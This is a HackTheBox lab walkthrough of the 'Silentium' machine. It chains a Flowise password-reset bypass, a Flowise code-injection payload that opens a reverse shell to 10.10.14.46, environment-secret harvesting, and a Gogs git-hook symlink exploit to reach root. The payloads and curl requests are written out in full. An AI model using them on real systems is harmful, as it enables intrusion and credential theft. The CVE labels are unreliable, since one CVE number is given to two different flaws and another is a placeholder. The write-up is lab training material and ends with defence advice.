HTB Silentium Machine Walkthrough

Challenge Overview

The Silentium machine is a Linux-based HackTheBox lab that focuses on web application vulnerabilities and privilege escalation. This challenge demonstrates:

Subdomain Enumeration - Virtual host discovery techniques
Authentication Bypass - Exploiting password reset functionality (CVE-2024-XXXX)
Code Injection - RCE through API parameter injection in Flowise (CVE-2025-8110)
Credential Harvesting - Extracting environment variables and databases
Git Hook Exploitation - Abusing Gogs symlink to achieve RCE as root (CVE-2025-8110)
Privilege Escalation - From web application to system administrator

The machine teaches critical lessons about API security, git-based systems, and how multiple vulnerabilities can chain together for complete system compromise.

Technical Walkthrough

Initial Reconnaissance

┌──(global_venv)─(w_11㉿kali)-[~/Desktop/htb/silentium]
└─$ nmap -sC -sV -Pn 10.129.87.40 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-11 23:47 UTC
Nmap scan report for 10.129.87.40
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.79 seconds

A Linux system with SSH and nginx running. The HTTP title indicates a redirect to silentium.htb.

Subdomain Enumeration

┌──(global_venv)─(w_11㉿kali)-[~/Desktop/htb/silentium]
└─$ ffuf -u http://10.129.87.40 -H 'Host: FUZZ.silentium.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 178 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.87.40
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher           : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 28ms]

Found the staging.silentium.htb subdomain hosting a Flowise instance.

Flowise Authentication Bypass

Research reveals CVE-2024-XXXX affecting Flowise - an unauthenticated password reset vulnerability:

POST /api/v1/account/forgot-password HTTP/1.1
Host: staging.silentium.htb
Content-Type: application/json
Content-Length: 42

{"user":{"email":"ben@silentium.htb"}}

Response includes a temporary token valid for 15 minutes:

HTTP/1.1 201 Created
...
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"PPn8gHPhoH7lWo0nupd47XqFF2YF7HPeknlsxZbJzpiejlEx5IHOSQupfLXkDLvg","tokenExpiry":"2026-04-11T20:52:31.753Z",...}

Using the token, we can reset the admin password:

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "user":{
      "email":"ben@silentium.htb",
      "tempToken":"PPn8gHPhoH7lWo0nupd47XqFF2YF7HPeknlsxZbJzpiejlEx5IHOSQupfLXkDLvg",
      "password":"wulalalalala"
    }
  }'

Flowise RCE - CVE-2025-8110

With valid credentials, we discover Flowise version 3.0.5 is vulnerable to RCE through the customMCP node. The vulnerability allows arbitrary code execution via a JavaScript function injection in the mcpServerConfig parameter:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const net=process.mainModule.require(\"net\");const cp=process.mainModule.require(\"child_process\");const sh=cp.spawn(\"/bin/sh\",[\"-i\"]);const client=new net.Socket();client.connect(4444,\"10.10.14.46\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return 1;})()})"
    }
  }'

Listening on port 4444 gives us a shell as the flowise container user.

Credential Harvesting

Inside the container, environment variables reveal:

FLOWISE_PASSWORD=F1l3_d0ck3r
SENDER_EMAIL=ben@silentium.htb
SMTP_USERNAME=test
SMTP_PASSWORD=r04D!!_R4ge
SMTP_HOST=mailhog
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD

The container also has a SQLite database at /root/.flowise/database.sqlite containing application data.

SSH Access

Using the discovered credentials, we SSH into the main system:

┌──(global_venv)─(w_11㉿kali)-[~/Desktop/htb/silentium]
└─$ ssh ben@silentium.htb
ben@silentium:~$ cat user.txt
62101137b7f2c8fad1d7b0e600f1ffcb

Internal port scanning reveals additional services:

tcp    LISTEN  0        4096           127.0.0.1:3001           0.0.0.0:*              (Gogs)
tcp    LISTEN  0        4096           127.0.0.1:3000           0.0.0.0:*              (Flowise)
tcp    LISTEN  0        4096           127.0.0.1:1025           0.0.0.0:*              (MailHog SMTP)
tcp    LISTEN  0        4096           127.0.0.1:8025           0.0.0.0:*              (MailHog Web)

Gogs Exploitation

Gogs (a lightweight git service) is running internally on port 3001. Using SSH port forwarding to access it locally:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

Gogs also contains the CVE-2025-8110 vulnerability - Git hooks can be exploited via symlinks. The attack creates a malicious repository with a .git/hooks/post-update symlink pointing to a config that executes arbitrary commands:

python3 gogs-CVE-2025-8110/CVE-2025-8110.py -u http://localhost:3001 \
  -lh 10.10.14.46 -lp 5555 \
  -user benten -pass wulala

The exploit:

Creates a repository
Adds a malicious .git/hooks/post-update file as a symlink
When the repo is cloned by git operations, the symlink resolves to the config file
The custom sshCommand in the config executes our reverse shell payload
Gogs runs git operations as root, giving us root access

Root Shell

┌──(global_venv)─(w_11㉿kali)-[~/Desktop/htb/silentium]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.46] from (UNKNOWN) [10.129.169.72] 36980
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/# cd /root
root@silentium:~# cat root.txt
8005a3e4f82e889dfab040130e79c340

Key Learnings

Password Reset Vulnerabilities - Never implement password reset without proper token validation and time limits
API Parameter Injection - Configuration parameters can become code execution vectors if not properly validated
Credential Storage - Never store secrets in environment variables or unencrypted databases
Git Hook Security - Symlink traversal in git hooks can be exploited for RCE
Service Isolation - Even internal services require strong security hardening
Privilege Escalation Through Services - Background services running as root are lucrative targets

Defense Recommendations

Implement proper input validation and sanitization in all API endpoints
Use signed, time-limited tokens for password resets (with rate limiting)
Store credentials in secure vaults, not environment variables or plain text
Validate and sanitize git repository contents before processing
Run services with minimal required privileges (never as root)
Monitor and restrict git hook execution
Implement comprehensive logging for all authentication and API access
Use containerization with proper resource and capability restrictions

HTB silentium HTB Garfield Machine